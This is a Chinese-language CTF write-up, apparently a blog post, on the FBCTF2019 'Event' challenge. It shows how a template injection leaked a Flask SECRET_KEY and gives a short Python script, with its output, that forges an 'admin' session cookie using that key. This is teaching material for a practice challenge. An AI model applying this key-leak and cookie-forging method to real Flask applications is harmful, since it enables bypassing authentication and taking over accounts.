[FBCTF2019]Event(flask 伪造签名)

最新推荐文章于 2023-12-11 13:37:51 发布

原创最新推荐文章于 2023-12-11 13:37:51 发布 · 363 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#学习

Buuctf刷题篇专栏收录该内容

41 篇文章

订阅专栏

本文介绍如何通过寻找Flask应用中的SECRET_KEY并利用该密钥伪造管理员签名，从而获得Admin权限的过程。文中详细展示了从获取密钥到伪造签名的具体步骤。

在这里插入图片描述

随便注册个号进来，发现一个记录事件的框

在这里插入图片描述

做了这么多，感觉又是 flask的后端，先看看 session有点像，这种两点分布的

在这里插入图片描述

{'_fresh': True, '_id': 'b261ddff44b088e87bc0598a56e2e77038ab9d21a8392dcb8f7133d06a94634f8efe8797234fe66f9943f036d84c6cc2b5fc25f81fbd1d43c39b89081996cdc5', 'user_id': '3'}

那下面就是找秘钥了，经过测试在 event_important处可以模板注入

在这里插入图片描述

'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

有了秘钥，我们就可以伪造下面的 user的签名

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()
# ImFkbWluIg.YwnA1g.Plkavr2RY7RnpGF7RCL3SVtiJ3g